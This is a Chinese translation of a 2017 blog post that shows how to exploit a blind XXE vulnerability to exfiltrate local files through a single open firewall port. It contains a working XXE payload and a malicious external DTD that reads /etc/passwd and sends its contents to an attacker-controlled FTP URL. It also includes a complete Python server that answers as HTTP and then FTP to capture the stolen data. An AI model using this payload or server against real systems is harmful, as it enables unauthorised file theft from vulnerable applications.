-
-
[翻译]使用一个开放端口通过HTTP + FTP方式提取XXE OOB文件内容
-
发表于: 2017-12-5 14:53 3195
-
XXE OOB使用单个打开的端口通过HTTP + FTP提取
如果我们已经发现了一个XXE漏洞,并尝试盲注提取OOB本地文件内容。
除了常规方法还有很多的思路可以实现。我最近使用FTP提取(AFAS,这是个存在漏洞的Java版本 - 不允许HTTP提取某些文件,例如/etc/passwd)。
使用以下代码:
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://host:1111/ext.dtd"> %sp; %param1; ]> <r>&exfil;</r>
在http://host:1111/ext.dtd中的内容如下:
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://host:2222/%data;'>">
这个工作方式如下:
1.处理XML源,存在漏洞的应用程序通过HTTP从外部加载DTD模式
http://host:1111/ext.dtd
2.处理加载模式,应用程序加载本地文件/etc/passwd并尝试exfil通过FTP加载外部实体ftp://host:2222/%data;,其中%data;的内容通过XML解析器被替换为/etc/passwd的内容。如果我们控制FTP服务器,我们就可以很容易地读取提取的数据。
但是易受攻击的服务器防火墙只允许3785端口输出连接,以上操作我们需要发出2个请求:通过HTTP,再通过FTP。所以我需要思考如何使用一个端口处理这两个协议。
为了成功利用它,我制作了一个小型的python-server,先用HTTP协议然后用FTP协议发送数据。我并没有实现完整协议,只实现了所需的部分。
研究上述的矢量工作算法,可以清楚地看出,这样的服务器应该首先模拟HTTP服务器,并用DTD进行响应,然后在第二个请求打印传入的命令(包含/etc/passwd内容)时模拟FTP服务器。
那么,脚本的第一部分 - HTTP服务器,用DTD做出响应:
#!/usr/env/python # coding: utf-8 from __future__ import print_function import socket HOST = 'host.com' PORT = 8080 # this DTD will be returned at first HTTP-request dtd = '''<!ENTITY % data SYSTEM "file:///etc/group"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://{}:{}/%data;'>">'''.format(HOST, PORT) # Create socket and bins it to all interfaces and chosen port s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0',PORT)) s.listen(1) conn,addr = s.accept() # await for incoming HTTP-connection print('-> HTTP-connection accepted') # Read request and send DTD, emulating the HTTP-server data = conn.recv(1024) conn.sendall('HTTP/1.1 200 OK\r\nContent-length: {len}\r\n\r\n{dtd}'.format(len=len(dtd), dtd=dtd)) print('-> DTD sent') conn.close()
第二部分 - 模拟FTP服务器并打印提取的数据
conn,addr = s.accept() # await for incoming FTP-connection print('-> FTP-connection accepted') conn.sendall('220 FTP\r\n') # emulate FTP-server stop = False while not stop: data = str(conn.recv(1024)) # read client commands # if the client sends USER, ask for password to emulate # FTP-authentication properly if data.startswith('USER'): conn.sendall('331 password please\r\n') # RETR command would contain the extracted data elif data.startswith('RETR'): print('-> RETR command received, extracted data:') print('-'*30) print(data.split(' ', 1)[-1]) stop = True elif data.startswith('QUIT'): # stop, it client asks stop = True # asks for more data otherwise else: conn.sendall('230 more data please\r\n') conn.close() s.close()
然后在服务器上运行脚本,并将源XML向量发送给易受攻击的应用程序。结果如下:
XXE OOB利用一个打开的端口通过HTTP + FTP提取。
因此我们可以通过一个打开的端口使用所需的协议来提取本地文件内容。
翻译稿来源
XXE OOB extracting via HTTP+FTP using single opened port
https://skavans.ru/en/2017/12/02/xxe-oob-extracting-via-httpftp-using-single-opened-port/
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)